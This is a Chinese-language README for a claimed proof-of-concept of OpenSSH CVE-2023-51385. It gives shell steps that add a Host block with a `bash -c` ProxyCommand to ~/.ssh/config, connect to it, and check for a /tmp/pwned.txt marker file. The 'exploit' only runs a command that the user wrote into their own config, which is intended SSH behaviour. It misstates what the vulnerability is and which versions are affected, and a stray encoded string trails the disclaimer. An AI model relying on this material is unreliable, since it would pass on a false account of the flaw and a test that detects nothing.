OpenSSH ProxyCommand注入漏洞 (CVE-2023-51385) 验证与利用指南
本项目提供了一个针对 CVE-2023-51385 的完整 Proof-of-Concept (PoC) 演示。该漏洞是 OpenSSH 中一个危险的命令注入漏洞,允许攻击者在客户端通过精心构造的 ProxyCommand 配置实现任意命令执行。
📌 项目概述
OpenSSH 是使用最广泛的 SSH 协议实现,其 ProxyCommand 选项用于指定连接目标主机所需的命令。由于对用户输入的不当处理,攻击者可以注入并执行任意系统命令,严重威胁系统安全。
本 PoC 项目旨在通过详细的步骤演示,帮助安全研究人员、系统管理员和渗透测试人员深入理解该漏洞的原理、影响范围以及修复方法。
✨ 功能特性
- 漏洞复现:提供完整的、可操作的漏洞触发流程。
- 版本检测:指导如何检查目标系统上 OpenSSH 的版本,以确认其是否受影响。
- 配置操纵:演示如何通过修改或创建
~/.ssh/config文件来注入恶意命令。 - 结果验证:提供简单的验证方法,确认命令是否成功执行。
- 教育目的:所有代码和步骤均以教育和授权测试为目的,强调合法使用。
🛠️ 安装指南
本项目的“安装”即指在本地(攻击者)或测试目标系统上准备漏洞验证环境。
系统要求
- 任何基于 Linux 的系统(如 Ubuntu, CentOS, Debian 等)。
- 安装了 OpenSSH 客户端,且版本低于 9.8。
- 拥有对测试系统 SSH 服务的访问权限(凭据认证)。
环境准备步骤
-
检查 OpenSSH 版本 打开终端,运行以下命令查看当前 SSH 客户端版本:
ssh -V如果输出版本号低于 9.8 (如 OpenSSH_8.9p1),则系统可能受此漏洞影响。
-
检查 SSH 配置目录 查看
~/.ssh目录是否存在,以及其中是否有config文件。ls -lah ~/.ssh -
准备 SSH 配置文件
- 如果已有
config文件,建议先备份:cp ~/.ssh/config ~/.ssh/config.bak - 如果没有
config文件,则创建一个:mkdir -p ~/.ssh touch ~/.ssh/config
- 如果已有
📖 使用说明
基础漏洞验证示例
以下步骤演示如何通过创建一个恶意的 SSH 配置项来触发漏洞,并在目标系统上创建一个文件。
-
编辑 SSH 配置文件 使用文本编辑器(如
nano)打开~/.ssh/config文件。nano ~/.ssh/config -
插入恶意配置块 在文件末尾添加以下内容。请注意,
HostName是一个占位符,真正的恶意命令在ProxyCommand中执行。Host pwned-target HostName 127.0.0.1 ProxyCommand bash -c 'echo "You have been hacked via ProxyCommand" > /tmp/pwned.txt'Host pwned-target:定义一个名为pwned-target的 SSH 主机别名。HostName 127.0.0.1:一个无害的占位符地址,连接尝试会发往本地。ProxyCommand bash -c '...':这是漏洞触发点。当尝试连接pwned-target时,OpenSSH 会执行此命令,而不是直接建立 TCP 连接。命令内容是将一段文本写入/tmp/pwned.txt文件。
-
保存并退出 在
nano中,按Ctrl+O保存,按Ctrl+X退出。 -
触发漏洞 在终端中,尝试连接刚刚配置的主机别名:
ssh pwned-target由于
ProxyCommand的优先级高于HostName,OpenSSH 会首先执行我们注入的命令。 -
验证利用结果 检查
/tmp目录下是否成功创建了文件,并查看其内容:cd /tmp ls -lah | grep pwned.txt cat pwned.txt如果看到 "You have been hacked via ProxyCommand" 输出,则证明漏洞利用成功。
典型使用场景
- 安全测试:在获得授权的情况下,测试内部系统是否存在此漏洞。
- 漏洞研究:分析漏洞触发机制,学习命令注入的经典模式。
- 系统加固:通过复现漏洞,了解为何需要升级 OpenSSH 版本或加强配置管理。
核心代码分析
以下为项目中用于漏洞利用和验证的核心代码块及注释。
# 1. 创建或修改SSH配置文件以注入恶意命令
# 文件路径: ~/.ssh/config
cat >> ~/.ssh/config << EOF
Host vulnerable-test
HostName 192.168.1.1 # 这是一个占位符,可以是任意IP
# 漏洞核心:ProxyCommand中的命令会被执行
# 此处的 'bash -c' 允许执行复杂的命令链
# 示例:创建一个文件 /tmp/pwned.txt 并写入内容
ProxyCommand bash -c 'echo "You have been hacked via ProxyCommand" > /tmp/pwned.txt'
EOF
# 2. 触发漏洞的命令
# 当执行 ssh vulnerable-test 时,OpenSSH客户端会处理配置文件
# 在处理到 Host vulnerable-test 时,会看到 ProxyCommand 指令
# 它不会尝试连接 HostName 192.168.1.1,而是直接执行 ProxyCommand 指定的命令
ssh vulnerable-test
# 3. 利用后的验证
# 检查 /tmp 目录下的文件,以确认命令是否成功执行
if [ -f /tmp/pwned.txt ]; then
echo "[+] 漏洞利用成功!文件已创建。"
cat /tmp/pwned.txt
else
echo "[-] 漏洞利用失败或系统已修复。"
fi
🔗 相关链接
免责声明:本项目内容仅供教育和安全研究使用。用户有责任确保其行为符合所有适用的法律和法规。严禁将本 PoC 用于任何未经授权的系统。 6HFtX5dABrKlqXeO5PUv/7C5hVpAWlNRv9GhoJmTKPLVomQTQvL+7Umw7J4nAGcXrqMrE3XtlvmUnImYyUAQuuGYz8HH0DCxU59AVhqfPYU=